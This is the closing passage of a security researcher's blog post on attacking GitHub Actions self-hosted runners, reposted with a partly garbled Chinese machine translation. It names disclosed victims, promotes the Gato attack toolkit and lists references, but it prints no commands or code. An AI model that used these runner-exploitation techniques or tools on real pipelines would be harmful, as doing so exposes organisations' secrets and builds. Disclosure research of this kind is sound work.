在这几个月里，我们改进了各种技术来利用各种自托管运行器配置，从 Linux、MacOS、Windows，甚至是使用 Actions Runner Controller 的临时自托管运行器。在进行我们的一些操作时，我们设法获得了足够的访问权限，对某些组织构成了生存威胁——这不是常态，但是当一个漏洞将攻击者直接放入公司的 DevOps 环境中时，作为 root 用户，可以访问管道机密，攻击者通常无能为力。虽然我们的大部分披露都是在严格的保密协议下进行的，但我们可以谈谈一些重大披露：

• PyTorch Py火炬
• Tensorflow 张量流
• Microsoft DeepSpeed
• Chia Networks Chia 网络

We hope to dive into all of our techniques and some thrilling post-exploitation stories if we are accepted to a large security conference located in Las Vegas Summer 2024!
如果我们被接受参加在拉斯维加斯举行的 2024 年夏季大型安全会议，我们希望深入了解我们所有的技术和一些激动人心的开发后故事！

Old Gato, New Tricks
老加托，新花样

I can’t finish this blog post without mentioning the core discovery engine we used to identify vulnerable repositories: GitHub Attack TOolkit, or Gato for short. In January 2023, to coincide with our ShmooCon 2023 talk, I, alongside my colleagues Matt Jackoski and Mason Davis wrote and released https://github.com/praetorian-inc/gato. The tool’s original aim was to identify the blast radius of a compromised PAT, with an emphasis on lateral movement paths via self-hosted runners. This was a technique we leveraged on a red team in Summer 2022, and it was the focus of our talk “Phantom of the Pipeline: Abusing Self-Hosted Runners.”
在结束这篇博文时，我不能不提到我们用来识别易受攻击的存储库的核心发现引擎：GitHub Attack TOolkit，简称 Gato。2023 年 1 月，为了配合我们的 ShmooCon 2023 演讲，我和我的同事 Matt Jackoski 和 Mason Davis 一起撰写并发布了 https://github.com/praetorian-inc/gato。该工具的最初目的是识别受损 PAT 的爆炸半径，重点是通过自托管运行器的横向移动路径。这是我们在 2022 年夏天在一支红队中利用的一种技术，也是我们演讲“管道魅影：滥用自托管跑步者”的重点。

The tool also had public repository enumeration as a “nice to have” feature.
该工具还具有公共存储库枚举作为“最好拥有”的功能。

Since then I’ve continued development of the tool and added features along the way to improve its speed, efficiency, attack capabilities. In its current state Gato is a full featured GitHub Actions pipeline enumeration and attack toolkit. Most of the vulnerable repositories we conducted operations against we discovered through Gato.
从那时起，我继续开发该工具，并在此过程中添加了功能以提高其速度、效率和攻击能力。在当前状态下，Gato 是一个功能齐全的 GitHub Actions 管道枚举和攻击工具包。我们通过Gato发现的大多数易受攻击的存储库都是通过Gato发现的。

Check out an example of how easily Gato can discover self-hosted runners on Microsoft’s public repositories with just two commands.
查看一个示例，了解 Gato 只需两个命令即可轻松地在 Microsoft 的公共存储库中发现自托管运行器。

Head to the repository and give Gato a spin for yourself, you might be shocked at what you find!
前往存储库并亲自尝试一下 Gato，您可能会对您的发现感到震惊！

References 引用

I want to highlight references used to build up the knowledge base used for this attack as well as this blog post.
我想重点介绍用于构建用于此攻击的知识库的参考资料以及这篇博文。

• https://marcyoung.us/post/zuckerpunch/
• https://www.praetorian.com/blog/self-hosted-github-runners-are-backdoors/
• https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/
• https://github.com/nikitastupin/pwnhub
• https://0xn3va.gitbook.io/cheat-sheets/ci-cd/github/actions
• https://owasp.org/www-project-top-10-ci-cd-security-risks/

原文始发于 Publié adnanthekhan：One Supply Chain Attack to Rule Them All